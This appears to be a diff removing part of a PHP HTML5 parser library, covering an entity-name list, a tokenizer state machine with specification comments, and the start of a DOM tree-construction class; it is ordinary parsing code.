'middot;','middot','minus;','mu;','nabla;','nbsp;','nbsp','ndash;','ne;', - 'ni;','not;','not','notin;','nsub;','ntilde;','ntilde','nu;','oacute;', - 'oacute','ocirc;','ocirc','oelig;','ograve;','ograve','oline;','omega;', - 'omicron;','oplus;','or;','ordf;','ordf','ordm;','ordm','oslash;','oslash', - 'otilde;','otilde','otimes;','ouml;','ouml','para;','para','part;','permil;', - 'perp;','phi;','pi;','piv;','plusmn;','plusmn','pound;','pound','prime;', - 'prod;','prop;','psi;','quot;','quot','rArr;','radic;','rang;','raquo;', - 'raquo','rarr;','rceil;','rdquo;','real;','reg;','reg','rfloor;','rho;', - 'rlm;','rsaquo;','rsquo;','sbquo;','scaron;','sdot;','sect;','sect','shy;', - 'shy','sigma;','sigmaf;','sim;','spades;','sub;','sube;','sum;','sup1;', - 'sup1','sup2;','sup2','sup3;','sup3','sup;','supe;','szlig;','szlig','tau;', - 'there4;','theta;','thetasym;','thinsp;','thorn;','thorn','tilde;','times;', - 'times','trade;','uArr;','uacute;','uacute','uarr;','ucirc;','ucirc', - 'ugrave;','ugrave','uml;','uml','upsih;','upsilon;','uuml;','uuml','weierp;', - 'xi;','yacute;','yacute','yen;','yen','yuml;','yuml','zeta;','zwj;','zwnj;'); - - const PCDATA = 0; - const RCDATA = 1; - const CDATA = 2; - const PLAINTEXT = 3; - - const DOCTYPE = 0; - const STARTTAG = 1; - const ENDTAG = 2; - const COMMENT = 3; - const CHARACTR = 4; - const EOF = 5; - - public function __construct($data) { - $data = str_replace("\r\n", "\n", $data); - $date = str_replace("\r", null, $data); - - $this->data = $data; - $this->char = -1; - $this->EOF = strlen($data); - $this->tree = new HTML5TreeConstructer; - $this->content_model = self::PCDATA; - - $this->state = 'data'; - - while($this->state !== null) { - $this->{$this->state.'State'}(); - } - } - - public function save() { - return $this->tree->save(); - } - - private function char() { - return ($this->char < $this->EOF) - ? $this->data[$this->char] - : false; - } - - private function character($s, $l = 0) { - if($s + $l < $this->EOF) { - if($l === 0) { - return $this->data[$s]; - } else { - return substr($this->data, $s, $l); - } - } - } - - private function characters($char_class, $start) { - return preg_replace('#^(['.$char_class.']+).*#s', '\\1', substr($this->data, $start)); - } - - private function dataState() { - // Consume the next input character - $this->char++; - $char = $this->char(); - - if($char === '&' && ($this->content_model === self::PCDATA || $this->content_model === self::RCDATA)) { - /* U+0026 AMPERSAND (&) - When the content model flag is set to one of the PCDATA or RCDATA - states: switch to the entity data state. Otherwise: treat it as per - the "anything else" entry below. */ - $this->state = 'entityData'; - - } elseif($char === '-') { - /* If the content model flag is set to either the RCDATA state or - the CDATA state, and the escape flag is false, and there are at - least three characters before this one in the input stream, and the - last four characters in the input stream, including this one, are - U+003C LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS, - and U+002D HYPHEN-MINUS ("<!--"), then set the escape flag to true. */ - if(($this->content_model === self::RCDATA || $this->content_model === - self::CDATA) && $this->escape === false && - $this->char >= 3 && $this->character($this->char - 4, 4) === '<!--') { - $this->escape = true; - } - - /* In any case, emit the input character as a character token. Stay - in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - /* U+003C LESS-THAN SIGN (<) */ - } elseif($char === '<' && ($this->content_model === self::PCDATA || - (($this->content_model === self::RCDATA || - $this->content_model === self::CDATA) && $this->escape === false))) { - /* When the content model flag is set to the PCDATA state: switch - to the tag open state. - - When the content model flag is set to either the RCDATA state or - the CDATA state and the escape flag is false: switch to the tag - open state. - - Otherwise: treat it as per the "anything else" entry below. */ - $this->state = 'tagOpen'; - - /* U+003E GREATER-THAN SIGN (>) */ - } elseif($char === '>') { - /* If the content model flag is set to either the RCDATA state or - the CDATA state, and the escape flag is true, and the last three - characters in the input stream including this one are U+002D - HYPHEN-MINUS, U+002D HYPHEN-MINUS, U+003E GREATER-THAN SIGN ("-->"), - set the escape flag to false. */ - if(($this->content_model === self::RCDATA || - $this->content_model === self::CDATA) && $this->escape === true && - $this->character($this->char, 3) === '-->') { - $this->escape = false; - } - - /* In any case, emit the input character as a character token. - Stay in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - } elseif($this->char === $this->EOF) { - /* EOF - Emit an end-of-file token. */ - $this->EOF(); - - } elseif($this->content_model === self::PLAINTEXT) { - /* When the content model flag is set to the PLAINTEXT state - THIS DIFFERS GREATLY FROM THE SPEC: Get the remaining characters of - the text and emit it as a character token. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => substr($this->data, $this->char) - )); - - $this->EOF(); - - } else { - /* Anything else - THIS DIFFERS GREATLY FROM THE SPEC: Get as many character that - otherwise would also be treated as a character token and emit it - as a single character token. Stay in the data state. */ - $len = strcspn($this->data, '<&', $this->char); - $char = substr($this->data, $this->char, $len); - $this->char += $len - 1; - - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - $this->state = 'data'; - } - } - - private function entityDataState() { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, emit a U+0026 AMPERSAND character token. - // Otherwise, emit the character token that was returned. - $char = (!$entity) ? '&' : $entity; - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - // Finally, switch to the data state. - $this->state = 'data'; - } - - private function tagOpenState() { - switch($this->content_model) { - case self::RCDATA: - case self::CDATA: - /* If the next input character is a U+002F SOLIDUS (/) character, - consume it and switch to the close tag open state. If the next - input character is not a U+002F SOLIDUS (/) character, emit a - U+003C LESS-THAN SIGN character token and switch to the data - state to process the next input character. */ - if($this->character($this->char + 1) === '/') { - $this->char++; - $this->state = 'closeTagOpen'; - - } else { - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<' - )); - - $this->state = 'data'; - } - break; - - case self::PCDATA: - // If the content model flag is set to the PCDATA state - // Consume the next input character: - $this->char++; - $char = $this->char(); - - if($char === '!') { - /* U+0021 EXCLAMATION MARK (!) - Switch to the markup declaration open state. */ - $this->state = 'markupDeclarationOpen'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Switch to the close tag open state. */ - $this->state = 'closeTagOpen'; - - } elseif(preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new start tag token, set its tag name to the lowercase - version of the input character (add 0x0020 to the character's code - point), then switch to the tag name state. (Don't emit the token - yet; further details will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::STARTTAG, - 'attr' => array() - ); - - $this->state = 'tagName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Emit a U+003C LESS-THAN SIGN character token and a - U+003E GREATER-THAN SIGN character token. Switch to the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<>' - )); - - $this->state = 'data'; - - } elseif($char === '?') { - /* U+003F QUESTION MARK (?) - Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - - } else { - /* Anything else - Parse error. Emit a U+003C LESS-THAN SIGN character token and - reconsume the current input character in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<' - )); - - $this->char--; - $this->state = 'data'; - } - break; - } - } - - private function closeTagOpenState() { - $next_node = strtolower($this->characters('A-Za-z', $this->char + 1)); - $the_same = count($this->tree->stack) > 0 && $next_node === end($this->tree->stack)->nodeName; - - if(($this->content_model === self::RCDATA || $this->content_model === self::CDATA) && - (!$the_same || ($the_same && (!preg_match('/[\t\n\x0b\x0c >\/]/', - $this->character($this->char + 1 + strlen($next_node))) || $this->EOF === $this->char)))) { - /* If the content model flag is set to the RCDATA or CDATA states then - examine the next few characters. If they do not match the tag name of - the last start tag token emitted (case insensitively), or if they do but - they are not immediately followed by one of the following characters: - * U+0009 CHARACTER TABULATION - * U+000A LINE FEED (LF) - * U+000B LINE TABULATION - * U+000C FORM FEED (FF) - * U+0020 SPACE - * U+003E GREATER-THAN SIGN (>) - * U+002F SOLIDUS (/) - * EOF - ...then there is a parse error. Emit a U+003C LESS-THAN SIGN character - token, a U+002F SOLIDUS character token, and switch to the data state - to process the next input character. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '</' - )); - - $this->state = 'data'; - - } else { - /* Otherwise, if the content model flag is set to the PCDATA state, - or if the next few characters do match that tag name, consume the - next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new end tag token, set its tag name to the lowercase version - of the input character (add 0x0020 to the character's code point), then - switch to the tag name state. (Don't emit the token yet; further details - will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::ENDTAG - ); - - $this->state = 'tagName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Switch to the data state. */ - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit a U+003C LESS-THAN SIGN character token and a U+002F - SOLIDUS character token. Reconsume the EOF character in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '</' - )); - - $this->char--; - $this->state = 'data'; - - } else { - /* Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - } - } - } - - private function tagNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } else { - /* Anything else - Append the current input character to the current tag token's tag name. - Stay in the tag name state. */ - $this->token['name'] .= strtolower($char); - $this->state = 'tagName'; - } - } - - private function beforeAttributeNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Stay in the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function attributeNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's name. - Stay in the attribute name state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['name'] .= strtolower($char); - - $this->state = 'attributeName'; - } - } - - private function afterAttributeNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the after attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the - before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function beforeAttributeValueState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the attribute value (double-quoted) state. */ - $this->state = 'attributeValueDoubleQuoted'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the attribute value (unquoted) state and reconsume - this input character. */ - $this->char--; - $this->state = 'attributeValueUnquoted'; - - } elseif($char === '\'') { - /* U+0027 APOSTROPHE (') - Switch to the attribute value (single-quoted) state. */ - $this->state = 'attributeValueSingleQuoted'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Switch to the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function attributeValueDoubleQuotedState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('double'); - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (double-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueDoubleQuoted'; - } - } - - private function attributeValueSingleQuotedState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if($char === '\'') { - /* U+0022 QUOTATION MARK (') - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('single'); - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (single-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueSingleQuoted'; - } - } - - private function attributeValueUnquotedState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState(); - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function entityInAttributeValueState() { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, append a U+0026 AMPERSAND character to the - // current attribute's value. Otherwise, emit the character token that - // was returned. - $char = (!$entity) - ? '&' - : $entity; - - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - } - - private function bogusCommentState() { - /* Consume every character up to the first U+003E GREATER-THAN SIGN - character (>) or the end of the file (EOF), whichever comes first. Emit - a comment token whose data is the concatenation of all the characters - starting from and including the character that caused the state machine - to switch into the bogus comment state, up to and including the last - consumed character before the U+003E character, if any, or up to the - end of the file otherwise. (If the comment was started by the end of - the file (EOF), the token is empty.) */ - $data = $this->characters('^>', $this->char); - $this->emitToken(array( - 'data' => $data, - 'type' => self::COMMENT - )); - - $this->char += strlen($data); - - /* Switch to the data state. */ - $this->state = 'data'; - - /* If the end of the file was reached, reconsume the EOF character. */ - if($this->char === $this->EOF) { - $this->char = $this->EOF - 1; - } - } - - private function markupDeclarationOpenState() { - /* If the next two characters are both U+002D HYPHEN-MINUS (-) - characters, consume those two characters, create a comment token whose - data is the empty string, and switch to the comment state. */ - if($this->character($this->char + 1, 2) === '--') { - $this->char += 2; - $this->state = 'comment'; - $this->token = array( - 'data' => null, - 'type' => self::COMMENT - ); - - /* Otherwise if the next seven chacacters are a case-insensitive match - for the word "DOCTYPE", then consume those characters and switch to the - DOCTYPE state. */ - } elseif(strtolower($this->character($this->char + 1, 7)) === 'doctype') { - $this->char += 7; - $this->state = 'doctype'; - - /* Otherwise, is is a parse error. Switch to the bogus comment state. - The next character that is consumed, if any, is the first character - that will be in the comment. */ - } else { - $this->char++; - $this->state = 'bogusComment'; - } - } - - private function commentState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if($char === '-') { - /* Switch to the comment dash state */ - $this->state = 'commentDash'; - - /* EOF */ - } elseif($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append the input character to the comment token's data. Stay in - the comment state. */ - $this->token['data'] .= $char; - } - } - - private function commentDashState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if($char === '-') { - /* Switch to the comment end state */ - $this->state = 'commentEnd'; - - /* EOF */ - } elseif($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append a U+002D HYPHEN-MINUS (-) character and the input - character to the comment token's data. Switch to the comment state. */ - $this->token['data'] .= '-'.$char; - $this->state = 'comment'; - } - } - - private function commentEndState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '-') { - $this->token['data'] .= '-'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['data'] .= '--'.$char; - $this->state = 'comment'; - } - } - - private function doctypeState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'beforeDoctypeName'; - - } else { - $this->char--; - $this->state = 'beforeDoctypeName'; - } - } - - private function beforeDoctypeNameState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the before DOCTYPE name state. - - } elseif(preg_match('/^[a-z]$/', $char)) { - $this->token = array( - 'name' => strtoupper($char), - 'type' => self::DOCTYPE, - 'error' => true - ); - - $this->state = 'doctypeName'; - - } elseif($char === '>') { - $this->emitToken(array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - )); - - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken(array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - )); - - $this->char--; - $this->state = 'data'; - - } else { - $this->token = array( - 'name' => $char, - 'type' => self::DOCTYPE, - 'error' => true - ); - - $this->state = 'doctypeName'; - } - } - - private function doctypeNameState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'AfterDoctypeName'; - - } elseif($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif(preg_match('/^[a-z]$/', $char)) { - $this->token['name'] .= strtoupper($char); - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['name'] .= $char; - } - - $this->token['error'] = ($this->token['name'] === 'HTML') - ? false - : true; - } - - private function afterDoctypeNameState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the DOCTYPE name state. - - } elseif($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['error'] = true; - $this->state = 'bogusDoctype'; - } - } - - private function bogusDoctypeState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - // Stay in the bogus DOCTYPE state. - } - } - - private function entity() { - $start = $this->char; - - // This section defines how to consume an entity. This definition is - // used when parsing entities in text and in attributes. - - // The behaviour depends on the identity of the next character (the - // one immediately after the U+0026 AMPERSAND character): - - switch($this->character($this->char + 1)) { - // U+0023 NUMBER SIGN (#) - case '#': - - // The behaviour further depends on the character after the - // U+0023 NUMBER SIGN: - switch($this->character($this->char + 1)) { - // U+0078 LATIN SMALL LETTER X - // U+0058 LATIN CAPITAL LETTER X - case 'x': - case 'X': - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE, U+0061 LATIN SMALL LETTER A through to U+0066 - // LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER - // A, through to U+0046 LATIN CAPITAL LETTER F (in other - // words, 0-9, A-F, a-f). - $char = 1; - $char_class = '0-9A-Fa-f'; - break; - - // Anything else - default: - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE (i.e. just 0-9). - $char = 0; - $char_class = '0-9'; - break; - } - - // Consume as many characters as match the range of characters - // given above. - $this->char++; - $e_name = $this->characters($char_class, $this->char + $char + 1); - $entity = $this->character($start, $this->char); - $cond = strlen($e_name) > 0; - - // The rest of the parsing happens bellow. - break; - - // Anything else - default: - // Consume the maximum number of characters possible, with the - // consumed characters case-sensitively matching one of the - // identifiers in the first column of the entities table. - $e_name = $this->characters('0-9A-Za-z;', $this->char + 1); - $len = strlen($e_name); - - for($c = 1; $c <= $len; $c++) { - $id = substr($e_name, 0, $c); - $this->char++; - - if(in_array($id, $this->entities)) { - if ($e_name[$c-1] !== ';') { - if ($c < $len && $e_name[$c] == ';') { - $this->char++; // consume extra semicolon - } - } - $entity = $id; - break; - } - } - - $cond = isset($entity); - // The rest of the parsing happens bellow. - break; - } - - if(!$cond) { - // If no match can be made, then this is a parse error. No - // characters are consumed, and nothing is returned. - $this->char = $start; - return false; - } - - // Return a character token for the character corresponding to the - // entity name (as given by the second column of the entities table). - return html_entity_decode('&'.$entity.';', ENT_QUOTES, 'UTF-8'); - } - - private function emitToken($token) { - $emit = $this->tree->emitToken($token); - - if(is_int($emit)) { - $this->content_model = $emit; - - } elseif($token['type'] === self::ENDTAG) { - $this->content_model = self::PCDATA; - } - } - - private function EOF() { - $this->state = null; - $this->tree->emitToken(array( - 'type' => self::EOF - )); - } -} - -class HTML5TreeConstructer { - public $stack = array(); - - private $phase; - private $mode; - private $dom; - private $foster_parent = null; - private $a_formatting = array(); - - private $head_pointer = null; - private $form_pointer = null; - - private $scoping = array('button','caption','html','marquee','object','table','td','th'); - private $formatting = array('a','b','big','em','font','i','nobr','s','small','strike','strong','tt','u'); - private $special = array('address','area','base','basefont','bgsound', - 'blockquote','body','br','center','col','colgroup','dd','dir','div','dl', - 'dt','embed','fieldset','form','frame','frameset','h1','h2','h3','h4','h5', - 'h6','head','hr','iframe','image','img','input','isindex','li','link', - 'listing','menu','meta','noembed','noframes','noscript','ol','optgroup', - 'option','p','param','plaintext','pre','script','select','spacer','style', - 'tbody','textarea','tfoot','thead','title','tr','ul','wbr'); - - // The different phases. - const INIT_PHASE = 0; - const ROOT_PHASE = 1; - const MAIN_PHASE = 2; - const END_PHASE = 3; - - // The different insertion modes for the main phase. - const BEFOR_HEAD = 0; - const IN_HEAD = 1; - const AFTER_HEAD = 2; - const IN_BODY = 3; - const IN_TABLE = 4; - const IN_CAPTION = 5; - const IN_CGROUP = 6; - const IN_TBODY = 7; - const IN_ROW = 8; - const IN_CELL = 9; - const IN_SELECT = 10; - const AFTER_BODY = 11; - const IN_FRAME = 12; - const AFTR_FRAME = 13; - - // The different types of elements. - const SPECIAL = 0; - const SCOPING = 1; - const FORMATTING = 2; - const PHRASING = 3; - - const MARKER = 0; - - public function __construct() { - $this->phase = self::INIT_PHASE; - $this->mode = self::BEFOR_HEAD; - $this->dom = new DOMDocument; - - $this->dom->encoding = 'UTF-8'; - $this->dom->preserveWhiteSpace = true; - $this->dom->substituteEntities = true; - $this->dom->strictErrorChecking = false; - } - - // Process tag tokens - public function emitToken($token) { - switch($this->phase) { - case self::INIT_PHASE: return $this->initPhase($token); break; - case self::ROOT_PHASE: return $this->rootElementPhase($token); break; - case self::MAIN_PHASE: return $this->mainPhase($token); break; - case self::END_PHASE : return $this->trailingEndPhase($token); break; - } - } - - private function initPhase($token) { - /* Initially, the tree construction stage must handle each token - emitted from the tokenisation stage as follows: */ - - /* A DOCTYPE token that is marked as being in error - A comment token - A start tag token - An end tag token - A character token that is not one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE - An end-of-file token */ - if((isset($token['error']) && $token['error']) || - $token['type'] === HTML5::COMMENT || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF || - ($token['type'] === HTML5::CHARACTR && isset($token['data']) && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']))) { - /* This specification does not define how to handle this case. In - particular, user agents may ignore the entirety of this specification - altogether for such documents, and instead invoke special parse modes - with a greater emphasis on backwards compatibility. */ - - $this->phase = self::ROOT_PHASE; - return $this->rootElementPhase($token); - - /* A DOCTYPE token marked as being correct */ - } elseif(isset($token['error']) && !$token['error']) { - /* Append a DocumentType node to the Document node, with the name - attribute set to the name given in the DOCTYPE token (which will be - "HTML"), and the other attributes specific to DocumentType objects - set to null, empty lists, or the empty string as appropriate. */ - $doctype = new DOMDocumentType(null, null, 'HTML'); - - /* Then, switch to the root element phase of the tree construction - stage. */ - $this->phase = self::ROOT_PHASE; - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif(isset($token['data']) && preg_match('/^[\t\n\x0b\x0c ]+$/', - $token['data'])) { - /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - } - } - - private function rootElementPhase($token) { - /* After the initial phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { 